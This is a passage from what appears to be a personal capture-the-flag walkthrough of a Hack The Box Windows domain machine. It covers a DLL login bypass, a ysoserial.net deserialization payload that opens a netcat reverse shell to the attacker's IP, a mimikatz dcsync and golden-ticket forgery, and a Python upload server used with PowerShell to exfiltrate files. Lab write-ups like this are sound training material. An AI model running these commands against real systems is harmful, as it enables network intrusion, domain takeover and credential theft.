        • As we want to authorize with creds we have for the local machine.
      • -Credential $Cred: Specifies the credentials to use (`$Cred`, the object created above).
      • -ScriptBlock { whoami }: The script block to be executed on the target machine.
        • +Note+: Any command can be placed here, like our reverse shell
  • Summary:
    • Converts a plain text password to a secure string.
    • Creates a credential object.
    • Executes a command on the local machine using the specified credentials.

Enumerating SMB shares as miscsvc

  • I connect to the SMB shares as miscsvc using the impacket-smbclient

    • impacket-smbclient $domain/$user:$pass@dc1.$domain -k
  • I have access to the IT share:

    • We access 3 folder:
      • Apps
      • Logs
      • Reports
  • I check the Apps folder & find a copy of their sales application ScrambleClient.exe & .dll:

    • I download both:
    • I check the other folders but they are empty.
  • I quickly check if we have acess to any other shares:
    • So far we don’t.

Using the ScrambledClient.exe:

  • I transfer the ScrambledClient.exe to my Windows VM & connect to the HTB VPN:

  • I edit my hosts file to have the same entries as my linux host:

    • .\notepad.exe C:\Windows\System32\drivers\etc\hosts
  • I enable debugging like it said on the intranet page & try and connect:

    • I try both this user and sqlsvc but neither work.
  • Discovering the credential format the program expects by reading the log file:

    • This is interesting as we now know the format that the program expects credentials in.
      • LOGON;<username>|<password>
  • I try all known usernames and passwords I have but no hits:

Finding a login bypass by Examining the ScrambleLib.dll in DNSpy:

DLL’s can hold a lot of valuable information so they are worth examining with tools like DNSpy:

  • I open up DNSpy in my Windows VM:

  • I open up the DLL and find an authentication bypass:

    • As you can see below the code says:
       if (string.Compare(Username, "scrmdev", true) == 0)
      		         {
      			             Log.Write("Developer logon bypass used");
      			             result = true;
      		         }
      		         else
    • this basically says if we enter scrmdev as the user we will be logged in without having to enter a password

5. Privilege Escalation:

Logging into ScrambledClient.exe using scrmdev creds:

  • I connect with the creds:

  • I’m in.

  • Test order:

Examining how serialized data is sent via ScrambledClient.exe:

  • Checking Debug Log:
    • We can see the data is being serialized (converted) to base64
  • I decode the Base64 data in kali to see if there is anything valuable being sent
    • echo "<base64string>" | base64 -d
  • I try SQL injection incase there is a way to leak information from the underlying database, however it doesn’t work:

  • Before each upload the string Binary formatter init successful is listed:

    • Looking online I find this article from microsoft regarding how BinaryFormatter is now obsolete due to security vulnerabilites:

6. Ownership:

Crafting a Payload with yoserial.net & catching a system shell:

  • I do some quick searching and find ysoserial.net:

  • Initially I try and use a simple base64 encoded powershell reverse shell but it spits out a bunch of errors:

    • .\yoserial.exe -f BinaryFormatter -q WindowsPrincipal -o base64 -c "<CommandToRun>"
    • I figure it could be a length exception so I transfer nc.exe to the C:\Temp folder for ease.
  • Well that doesn’t work either, so suppose we need to troubleshoot and fix this:

    • .\yoserial.exe -f BinaryFormatter -q WindowsPrincipal -o base64 -c "<CommandToRun>"
  • After some digging I found that 1.35 works fine where as 1.36 has other deps:

    • +Important Note+: Use Release 1.35 +not+ 1.36
  • I generate my payload using yoserial.net v1.35:

    • ysoserial-1.35\Release> .\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "C:\Temp\nc.exe 10.10.14.31 443 -e cmd"
  • Use the same syntax the program uses to upload it:

    • UPLOAD_ORDER;<base64string>
    • We can see it errors out, but that’s fine.
  • Catch my system shell:

  • Get root flag:

7. Persistence:

Creating A Golden Ticket with mimikatz:

  • I upload mimikatz via my python webserver:

  • I perform a dcsync attack and dump the krbtgt hash:

    • lsadump::dcsync /user:krbtgt /domain:scrm.local
  • I forge a golden ticket using the Domain-SID & krbtgt hash:
    • kerberos::golden /domain:scrm.local /user:Administrator /sid:S-1-5-21-2743207045-1827831105-2542523200 /rc4:<HASH>
      • The ticket is is present:

Transferring the Golden Ticket Using my custom python webserver:

  1. Start my custom python webserver:

    • I have this handy python webserver that is useful when exfiling data.
      • Save as pythonServer.py
      • Rung python3 pythonServer.py
         from http.server import SimpleHTTPRequestHandler, HTTPServer
        
         class SimpleHTTPUploadHandler(SimpleHTTPRequestHandler):
             def do_POST(self):
                 length = int(self.headers['Content-Length'])
                 field_data = self.rfile.read(length)
                 #If you prefer change the file to be whatever you want
                 with open('uploaded_file', 'wb') as f:
                     f.write(field_data)
                 self.send_response(200)
                 self.end_headers()
                 self.wfile.write(b'File uploaded successfully')
        
        # You can set the port to be 443 etc so it looks more legitimate.
         def run(server_class=HTTPServer, handler_class=SimpleHTTPUploadHandler, port=9000):
             server_address = ('', port)
             httpd = server_class(server_address, handler_class)
             print(f"Starting httpd server on port {port}")
             httpd.serve_forever()
        
         if __name__ == "__main__":
             run()
    • +NOTE+: Will output file as uploaded_file
  2. Send the ticket from victim using powershell:

     filePath = "C:\Temp\ticket.kirbi"; $url = "http://10.10.14.31:9000"; $fileBytes = [System.IO.File]::ReadAllBytes($filePath); $webClient = New-Object System.Net.WebClient; $webClient.UploadData($url, $fileBytes)
    • Ticket received on our attack host:
      • +Note+: The file will be called uploaded_file you will have to change it back to <file>.kirbi
  3. Convert with impacket-ticketconverter:

    • impacket-ticketConverter ticket.kirbi admin.ccache
  4. Import into session my current session:

    • export KRB5CCNAME=./admin.ccache
  5. Check ticket is loaded into memory:

    • klist
  6. Fire up impacket-psexec and connect:

    • We have persistence.

Lessons Learned:

What did I learn?

  1. I learned about using pure kerberos authentication when NTLM is disabled (not to sure how useful this will be in real life but it was a fun exercise)
  2. I learned ALOT about deserialization attacks.
  3. I learned more about deconstructing DLL’s with DNSPy, that is fun.

What silly mistakes did I make?

  1. Spent too long trying to use tools that utilize NTLM (netexec) for enumeration.
  2. See point 1, got caught out a few times.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me